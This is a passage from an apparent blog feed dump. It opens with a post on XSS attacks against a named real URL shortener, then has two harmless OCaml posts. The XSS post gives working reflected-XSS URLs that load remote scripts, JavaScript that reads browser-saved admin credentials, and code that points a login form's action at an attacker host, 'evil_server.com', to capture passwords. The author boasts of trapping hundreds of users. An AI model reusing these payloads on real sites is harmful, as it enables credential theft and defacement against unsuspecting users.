href="http://www.gamesprays.com/images/icons/Evil_Cartman_icon1512.jpg" target="_blank"&gt;evil idea&lt;/a&gt; came to my mind, a DoS attack, I wanted to make the webserver loop infinitely to find the website. For example I shortened the url &lt;a bitly="BITLY_PROCESSED" href="http://shr1nk.me/1235"&gt;http://shr1nk.me/1235&lt;/a&gt; and pointed it to &lt;a bitly="BITLY_PROCESSED" href="http://shr1nk.me/1234"&gt;http://shr1nk.me/1234&lt;/a&gt; and vice versa&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://lh5.ggpht.com/_MIqc395dv38/S5vmLSFUpQI/AAAAAAAABLU/t0lEvf31ZX4/s1600-h/1%5B2%5D.png"&gt;&lt;img alt="1" border="0" height="187" src="http://lh6.ggpht.com/_MIqc395dv38/S5vmMFW23MI/AAAAAAAABLY/bNRjgq60WLA/1_thumb.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="1" width="248" /&gt;&lt;/a&gt;I thought this would make the server loop over and over to find the original link, but nah, it doesn’t work like that, the server just send the original –the shortened- url back to the browser, and it’s the browser’s work to fetch the new url. So this is useless because even the browser detects redirect loops (5 loops and it break the request) &lt;a bitly="BITLY_PROCESSED" href="http://en.wikipedia.org/wiki/URL_redirection#Redirect_loops"&gt;http://en.wikipedia.org/wiki/URL_redirection#Redirect_loops&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now to XSS, a simple check shows that the website is XSS’able, here’s a simple &lt;em&gt;alert() &lt;/em&gt;test &lt;a bitly="BITLY_PROCESSED" href="http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%3Ealert(1)%3C/script%3E"&gt;alert(1)'&amp;gt;http://shr1nk.me/index.php?url="&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/a&gt;, it doesn’t work for me in Google Chrome, so Firefox it.     &lt;br /&gt;&lt;br /&gt;Let’s explore 3 categories of attacks that might be exploited using XSS, of course combining these techniques will have bigger impact.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Reputation :&lt;/h3&gt;We can make a websites’ reputation as bad as we want, by inserting inappropriate content, or post false news etc.. Remember! users have to click your link to see this, because it is not a persistent XSS attack.&lt;br /&gt;For example if you click this link &lt;a bitly="BITLY_PROCESSED" href="http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%20src=http://pastie.org/868120.txt%3E%3C/script%3E" title="http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%20src=http://pastie.org/868120.txt%3E%3C/script%3E"&gt;http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%20src=http://pastie.org/868120.txt%3E%3C/script%3E&lt;/a&gt;, you should get something like this.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://lh3.ggpht.com/_MIqc395dv38/S5vmNCsDurI/AAAAAAAABLc/oBAFL3SXbjI/s1600-h/2%5B2%5D.png"&gt;&lt;img alt="2" border="0" height="171" src="http://lh4.ggpht.com/_MIqc395dv38/S5vmN6r5h_I/AAAAAAAABLg/rQPJnZ2MRck/2_thumb.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="2" width="248" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:1afb7d42-8553-4a50-bb8a-1f26c4e8c202" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: green;"&gt;//Write some annoying messages &lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;var b = document.getElementById('contenu');&lt;/li&gt;&lt;li&gt;var s = &lt;span style="color: maroon;"&gt;"&amp;lt;h1&amp;gt;You freeking -stupid- visitors, get lost from here (just an example) ok!&amp;lt;/h1&amp;gt;"&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;b.innerHTML = s + &amp;lt;img src='some evil pirate image here'/&amp;gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You can see that for an ordinary user, seeing this on his favorite website is totally a big deal –haven’t you heard about the Facebook’s stupid users?? &lt;a bitly="BITLY_PROCESSED" href="http://www.vaguespace.net/blog/2010/02/facebook-users-is-teh-stupid.html" target="_blank"&gt;check it out&lt;/a&gt; -.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Password Theft :&lt;/h3&gt;I have explained this in details here &lt;a bitly="BITLY_PROCESSED" href="http://www.martani.net/2009/08/xss-steal-passwords-using-javascript.html" title="http://www.martani.net/2009/08/xss-steal-passwords-using-javascript.html"&gt;http://www.martani.net/2009/08/xss-steal-passwords-using-javascript.html&lt;/a&gt;, and here is a simple customized version of how to steel the admin passwords if they are saved by the browser, transparently. The victim has to just click of the link and BOM!!!!&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%20src=http://pastie.org/868131.txt%3E%3C/script%3E" title="http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%20src=http://pastie.org/868131.txt%3E%3C/script%3E"&gt;http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%20src=http://pastie.org/868131.txt%3E%3C/script%3E&lt;/a&gt;&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:59bd707d-494d-4531-b404-1551d9da17ec" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 200px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;var frameset = document.createElement('frameset');&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;var frame1 = document.createElement('frame');&lt;/li&gt;&lt;li&gt;document.body.appendChild(frameset);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;frame1.setAttribute('src','admin/');&lt;/li&gt;&lt;li&gt;frameset.appendChild(frame1);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;function&lt;/span&gt; showLogin()&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert('login : ' + parent.frames[0].document.getElementById('username').value + &lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'\npass : '+parent.frames[0].document.getElementById('password').value);&lt;/li&gt;&lt;li&gt;}&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;setTimeout(showLogin,1000);&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&lt;span style="color: green;"&gt;// here, send the logins to the attackes server using XHR&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;&lt;br /&gt;&lt;/h3&gt;&lt;h3&gt;Trapping the victim to submit his logins : &lt;/h3&gt;This uses the same technique as the password theft, When combined with the previous one it become so dangerous unless the user is aware of how XSS works or has an XSS blocker like &lt;a bitly="BITLY_PROCESSED" href="http://noscript.net/" target="_blank"&gt;NoScript&lt;/a&gt; or is using IE8.&lt;br /&gt;&lt;br /&gt;The idea is to show the victim a login page, and changing the action of the form to point to the attackers' server rather than the real login page, a simple attack would be exploited like this:&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:84a0a52d-4223-4ec6-a218-ef19014284d2" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 300px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;var frameset = document.createElement('frameset');&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;var frame1 = document.createElement('frame');&lt;/li&gt;&lt;li&gt;document.body.appendChild(frameset);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;frame1.setAttribute('src','admin/');&lt;/li&gt;&lt;li&gt;frameset.appendChild(frame1); &lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;span style="color: green;"&gt;// HERE make the faked iFrame stretched to hide the real page&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&lt;span style="color: green;"&gt;// using the stype attribute &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&lt;span style="color: green;"&gt;//Now change the action of the form to point to the victims server&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="color: green;"&gt;// or do it using XHR then submit the form to its real action &lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;parent.frames[0].document.forms[0].action = &lt;span style="color: maroon;"&gt;"http://evil_server.com/intercept_passwords.aspx"&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;span style="color: green;"&gt;// here, send the logins to the attackes server using XHR&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Believe me, it works, and you can trap hundred of users using this technique since it is completely transparent, and it leaves no trace because the user end up signing in as he is supposed to be.&lt;br /&gt;&lt;br /&gt;I’m aware this was not detailed enough, but the subject is really vast, so if you plan to learn XSS, start applying simple attacks, like the first and second listed here (you have a working source code). Then you will start to see clearly how some advanced attacks –like the last one- are exploited. Also I advise this book : &lt;a bitly="BITLY_PROCESSED" href="http://www.amazon.com/XSS-Attacks-Scripting-Exploits-Defense/dp/1597491543"&gt;http://www.amazon.com/XSS-Attacks-Scripting-Exploits-Defense/dp/1597491543&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-4332239436267829118?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/4332239436267829118/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/03/some-xss-techniques-and-real-world.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4332239436267829118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4332239436267829118'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/03/some-xss-techniques-and-real-world.html' title='Some XSS Techniques and Real World Examples'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_MIqc395dv38/S5vmMFW23MI/AAAAAAAABLY/bNRjgq60WLA/s72-c/1_thumb.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-6069408483798751117</id><published>2010-03-07T11:54:00.001+01:00</published><updated>2010-03-07T11:54:28.111+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='functional programming'/><category scheme='http://www.blogger.com/atom/ns#' term='ocaml'/><title type='text'>OCaml Stack and Queue</title><content type='html'>&lt;p&gt;This is a quick post to show how easy (and beautiful) it is to implement a simple (not the best though) and elegant FIFOs and LIFOs in OCaml.&lt;/p&gt;  &lt;p&gt;For the Stack (&lt;a href="http://en.wikipedia.org/wiki/Stack_(data_structure)" target="_blank"&gt;LIFO – Last In First Out&lt;/a&gt;), the source code is available in the core language in &lt;a href="http://caml.inria.fr/pub/docs/manual-ocaml/libref/Stack.html" target="_blank"&gt;lib/stack.ml&lt;/a&gt;, and it uses Lists to save elements inside the Stack, the implementation is so easy : &lt;/p&gt;  &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:c8d6d0a8-1cdb-49d2-8366-d2102048e1fc" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 400px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;module&lt;/span&gt; Stack = &lt;span style="color:#0000ff"&gt;struct&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;type&lt;/span&gt; &amp;#39;a t = { &lt;span style="color:#0000ff"&gt;mutable&lt;/span&gt; c : &amp;#39;a list }&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;exception&lt;/span&gt; Empty&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;nbsp;&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; create () = { c = [] }&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; clear s = s.c &amp;lt;- []&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; copy s = { c = s.c }&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; push x s = s.c &amp;lt;- x :: s.c&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; pop s =&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;match&lt;/span&gt; s.c &lt;span style="color:#0000ff"&gt;with&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;hd::tl &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; s.c &amp;lt;- tl; hd&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;| []&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; raise Empty&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;nbsp;&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; top s =&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;match&lt;/span&gt; s.c &lt;span style="color:#0000ff"&gt;with&lt;/span&gt;&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;hd::_ &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; hd&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;| []&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; raise Empty&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; is_empty s = (s.c = [])&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; length s = List.length s.c&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; iter f s = List.iter f s.c&lt;/li&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;end&lt;/span&gt;;;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;  &lt;p&gt;For the Queue (&lt;a href="http://en.wikipedia.org/wiki/Queue_(data_structure)" target="_blank"&gt;FIFO&lt;/a&gt;), here is an elegant implementation using references on Lists:&lt;/p&gt;  &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:0d344036-eb2b-472f-9255-71b4649cbae3" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 400px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;module&lt;/span&gt; Queue = &lt;span style="color:#0000ff"&gt;struct&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;type&lt;/span&gt; &amp;#39;a t = (&amp;#39;a list * &amp;#39;a list) ref&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;exception&lt;/span&gt; Empty&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; create () = ref ([], [])&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; add x queue =&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; front, back = !queue &lt;span style="color:#0000ff"&gt;in&lt;/span&gt; &lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;queue := (x::front, back)&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; &lt;span style="color:#0000ff"&gt;rec&lt;/span&gt; take queue =&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;span style="color:#0000ff"&gt;match&lt;/span&gt; !queue &lt;span style="color:#0000ff"&gt;with&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;(front, x :: back) &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;queue := (front, back);&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;x&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;| ([], []) &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;raise Empty&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;| (front, []) &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;queue := ([], List.rev front);&lt;/li&gt; &lt;li&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;take queue&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;end&lt;/span&gt;;;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;  &lt;p&gt;The Queue is composed of 2 Lists holding the front elements (used for adding new elements to the Queue) and a back list holding elements when we call take (or dequeue).&lt;/p&gt;  &lt;p&gt;The add function is simple, it just take an elements and put it at the beginning of the front list &lt;strong&gt;&lt;em&gt;queue := (x::front, back)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The take function is the one that does all the work, it checks if the Queue is not empty (an empty queue is a queue that both front and back lists are empty), then it checks if the back list has at least one element, if this is the case, the element is deleted from the queue and then returned.&lt;/p&gt;  &lt;p&gt;Otherwise the back list is empty, so we take elements from the front list (the one used to store elements when we call &lt;strong&gt;add&lt;/strong&gt;), reverse them, and store them in the back list, then the function calls itself recursively to extract the new available elements.&lt;/p&gt;  &lt;p&gt;And in case you didn’t notice, both the Stack and Queue are generics by nature, they accept any type for their elements.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-6069408483798751117?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/6069408483798751117/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/03/ocaml-stack-and-queue.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6069408483798751117'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/6069408483798751117'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/03/ocaml-stack-and-queue.html' title='OCaml Stack and Queue'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-8204316558640371824</id><published>2010-02-19T22:33:00.001+01:00</published><updated>2010-02-19T22:33:16.134+01:00</updated><title type='text'>Learning OCaml, Questions From Stackoverflow.com</title><content type='html'>&lt;p&gt;The most effective way to learn something new is by asking questions, and it’s the same for programming languages.&lt;/p&gt;  &lt;p&gt;Below is a collection of question about the OCaml functional language from stackoverflow.com and it’s supposed to help you get your mind to work “OCaml”.&lt;/p&gt; &lt;a href="http://stackoverflow.com/questions/30516/learning-ocaml-fast"&gt;   &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/30516/learning-ocaml-fast"&gt;Learning OCaml (Fast)&lt;/a&gt; &lt;/h4&gt; &lt;/a&gt;  &lt;blockquote&gt;   &lt;p&gt;Suppose I had to learn OCaml in a &lt;em&gt;hurry&lt;/em&gt;. What would you suggest I read and/or do?&lt;/p&gt; &lt;/blockquote&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/118935/know-of-an-ocaml-ide"&gt;Know of an OCAML IDE?&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;Know of an OCAML/CAML IDE? Especially one that runs on Linux?&lt;/p&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/179492/f-and-ocaml"&gt;F# and OCaml&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;I hear that F# is derived from OCaml. How true is this statement? That is to say, are the resources available for learning OCaml useful to someone who wants to learn F#?…&lt;/p&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/243864/what-is-the-ocaml-idiom-equivalent-to-pythons-range-function"&gt;What is the OCaml idiom equivalent to Python’s range function?&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;I want to create a list of integers from 1 to n. I can do this in Python using range(1, n+1), and in Haskell using: take n (iterate (1+) 1).&lt;/p&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/433258/why-isnt-ocaml-more-popular"&gt;Why isn’t OCaml more popular?&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;On the other hand, ML languages are functional, garbage collected languages, and OCaml even has an object model, yet they have a reputation for being as fast as C. ML languages have the abstraction anyone could ask for to write high-level, concise code, yet it retains the speed necessary for writing high-performance applications…&lt;/p&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/2030863/in-functional-programming-what-is-a-functor"&gt;In Functional Programming, what is a functor?&lt;/a&gt;&lt;/h4&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/699689/what-are-the-differences-between-sml-and-ocaml"&gt;What are the differences between SML and Ocaml?&lt;/a&gt;&lt;/h4&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/900585/why-are-functions-in-ocaml-f-not-recursive-by-default"&gt;Why are functions in Ocaml/F# not recursive by default?&lt;/a&gt;&lt;/h4&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/931496/x-with-value-in-ocaml"&gt;{X with value} in ocaml&lt;/a&gt;&lt;/h4&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/1495756/ocaml-error-this-expression-has-type-x-but-is-used-with-type-x"&gt;Ocaml: Error - this expression has type x but is used with type x&lt;/a&gt;&lt;/h4&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/1412668/does-have-meaning-in-ocaml"&gt;Does != have meaning in OCaml?&lt;/a&gt;&lt;/h4&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/1384103/ocaml-how-does-list-fold-left-work"&gt;OCaml: How does List.fold_left work?&lt;/a&gt;&lt;/h4&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/1738758/linked-list-ocaml"&gt;Linked List Ocaml&lt;/a&gt;&lt;/h4&gt;  &lt;h4&gt;&lt;a href="http://stackoverflow.com/questions/2019549/good-projects-to-learn-ocaml-and-f"&gt;Good projects to learn OCaml and F#&lt;/a&gt;&amp;#160;&lt;/h4&gt;  &lt;h4&gt;&lt;a 